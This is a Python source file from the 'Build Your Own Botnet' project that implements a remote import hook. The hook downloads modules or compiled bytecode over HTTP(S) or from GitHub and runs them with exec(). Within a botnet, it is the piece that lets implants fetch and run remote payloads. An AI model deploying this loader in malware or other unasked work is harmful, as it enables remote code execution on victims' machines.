Path: blob/master/web-gui/buildyourownbotnet/core/loader.py
1292 views
#!/usr/bin/python1# -*- coding: utf-8 -*-2'Loader (Build Your Own Botnet)'34# standard library5import imp6import sys7import logging8import contextlib9if sys.version_info[0] < 3:10from urllib2 import urlopen11else:12from urllib.request import urlopen131415def log(info='', level='debug'):16logging.basicConfig(level=logging.DEBUG, handlers=[logging.StreamHandler()])17logger = logging.getLogger(__name__)18getattr(logger, level)(str(info)) if hasattr(logger, level) else logger.debug(str(info))192021# main22class Loader(object):23"""24The class that implements the remote import API.25:param list modules: list of module/package names to make available for remote import26:param str base_url: URL of directory/repository of modules being served through HTTPS2728"""2930def __init__(self, modules, base_url):31self.module_names = modules32self.base_url = base_url + '/'33self.non_source = False34self.reload = False35'''36self.mod_msg = {}37'''3839def find_module(self, fullname, path=None):40log(level='debug', info= "FINDER=================")41log(level='debug', info= "Searching: %s" % fullname)42log(level='debug', info= "Path: %s" % path)43log(level='info', info= "Checking if in declared remote module names...")44if fullname.split('.')[0] not in self.module_names + list(set([_.split('.')[0] for _ in self.module_names])):45log(level='info', info= "[-] Not found!")46return None47log(level='info', info= "Checking if built-in....")48try:49file, filename, description = imp.find_module(fullname.split('.')[-1], path)50if filename:51log(level='info', info= "[-] Found locally!")52return None53except ImportError:54pass55log(level='info', info= "Checking if it is name repetition... ")56if fullname.split('.').count(fullname.split('.')[-1]) > 1:57log(level='info', info= "[-] Found locally!")58return None59'''60msg = self.__get_source(fullname,path)61if msg==None:62return None63is_package,final_url,source_code=msg64self.mod_msg.setdefault(fullname,MsgClass(is_package,final_url,source_code))65'''66log(level='info', info= "[+] Module/Package '%s' can be loaded!" % fullname)67return self6869def load_module(self, name):70'''71mod_msg=self.mod_msg.get(fullname)72'''73imp.acquire_lock()74log(level='debug', info= "LOADER=================")75log(level='debug', info= "Loading %s..." % name)76if name in sys.modules and not self.reload:77log(level='info', info= '[+] Module "%s" already loaded!' % name)78imp.release_lock()79return sys.modules[name]80if name.split('.')[-1] in sys.modules and not self.reload:81log(level='info', info= '[+] Module "%s" loaded as a top level module!' % name)82imp.release_lock()83return sys.modules[name.split('.')[-1]]84module_url = self.base_url + '%s.py' % name.replace('.', '/')85package_url = self.base_url + '%s/__init__.py' % name.replace('.', '/')86zip_url = self.base_url + '%s.zip' % name.replace('.', '/')87final_url = None88final_src = None89try:90log(level='debug', info= "Trying to import '%s' as package from: '%s'" % (name, package_url))91package_src = None92if self.non_source:93package_src = self.__fetch_compiled(package_url)94if package_src == None:95package_src = urlopen(package_url).read()96final_src = package_src97final_url = package_url98except IOError as e:99package_src = None100log(level='info', info= "[-] '%s' is not a package (%s)" % (name, str(e)))101if final_src == None:102try:103log(level='debug', info= "[+] Trying to import '%s' as module from: '%s'" % (name, module_url))104module_src = None105if self.non_source:106module_src = self.__fetch_compiled(module_url)107if module_src == None:108module_src = urlopen(module_url).read()109final_src = module_src110final_url = module_url111except IOError as e:112module_src = None113log(level='info', info= "[-] '%s' is not a module (%s)" % (name, str(e)))114imp.release_lock()115return None116log(level='debug', info= "[+] Importing '%s'" % name)117mod = imp.new_module(name)118mod.__loader__ = self119mod.__file__ = final_url120if not package_src:121mod.__package__ = name.rpartition('.')[0]122else:123mod.__package__ = name124mod.__path__ = ['/'.join(mod.__file__.split('/')[:-1]) + '/']125log(level='debug', info= "[+] Ready to execute '%s' code" % name)126sys.modules[name] = mod127exec(final_src, mod.__dict__)128log(level='info', info= "[+] '%s' imported succesfully!" % name)129imp.release_lock()130return mod131132'''133def __get_source(self,fullname,path):134url=self.baseurl+"/".join(fullname.split("."))135source=None136is_package=None137138# Check if it's a package139try:140final_url=url+"/__init__.py"141source = urlopen(final_url).read()142is_package=True143except Exception as e:144log(level='debug', info= "[-] %s!" %e)145146# A normal module147if is_package == None :148try:149final_url=url+".py"150source = urlopen(final_url).read()151is_package=False152except Exception as e:153log(level='debug', info= "[-] %s!" %e)154return None155156return is_package,final_url,source157'''158159def __fetch_compiled(self, url):160import marshal161module_src = None162try:163module_compiled = urlopen(url + 'c').read()164try:165module_src = marshal.loads(module_compiled[8:])166return module_src167except ValueError:168pass169try:170module_src = marshal.loads(module_compiled[12:]) # Strip the .pyc file header of Python 3.3 and onwards (changed .pyc spec)171return module_src172except ValueError:173pass174except IOError as e:175log(level='debug', info= "[-] No compiled version ('.pyc') for '%s' module found!" % url.split('/')[-1])176return module_src177178179def __create_github_url(username, repo, branch='master'):180github_raw_url = 'https://raw.githubusercontent.com/{user}/{repo}/{branch}/'181return github_raw_url.format(user=username, repo=repo, branch=branch)182183184def _add_git_repo(url_builder, username=None, repo=None, module=None, branch=None, commit=None):185if username == None or repo == None:186raise Exception("'username' and 'repo' parameters cannot be None")187if commit and branch:188raise Exception("'branch' and 'commit' parameters cannot be both set!")189if commit:190branch = commit191if not branch:192branch = 'master'193if not module:194module = repo195if type(module) == str:196module = [module]197url = url_builder(username, repo, branch)198return add_remote_repo(module, url)199200201def add_remote_repo(modules, base_url='http://localhost:8000/'):202"""203Function that creates and adds to the 'sys.meta_path' an Loader object.204The parameters are the same as the Loader class contructor.205"""206importer = Loader(modules, base_url)207sys.meta_path.insert(0, importer)208return importer209210211def remove_remote_repo(base_url):212"""213Function that removes from the 'sys.meta_path' an Loader object given its HTTP/S URL.214"""215for importer in sys.meta_path:216try:217if importer.base_url.startswith(base_url): # an extra '/' is always added218sys.meta_path.remove(importer)219return True220except AttributeError as e: pass221return False222223224@contextlib.contextmanager225def remote_repo(modules, base_url='http://localhost:8000/'):226"""227Context Manager that provides remote import functionality through a URL.228The parameters are the same as the Loader class contructor.229"""230importer = add_remote_repo(modules, base_url)231yield232remove_remote_repo(base_url)233234235@contextlib.contextmanager236def github_repo(username=None, repo=None, module=None, branch=None, commit=None):237"""238Context Manager that provides import functionality from Github repositories through HTTPS.239The parameters are the same as the '_add_git_repo' function. No 'url_builder' function is needed.240"""241importer = _add_git_repo(__create_github_url,242username, repo, module=module, branch=branch, commit=commit)243yield244remove_remote_repo(importer.base_url)245246247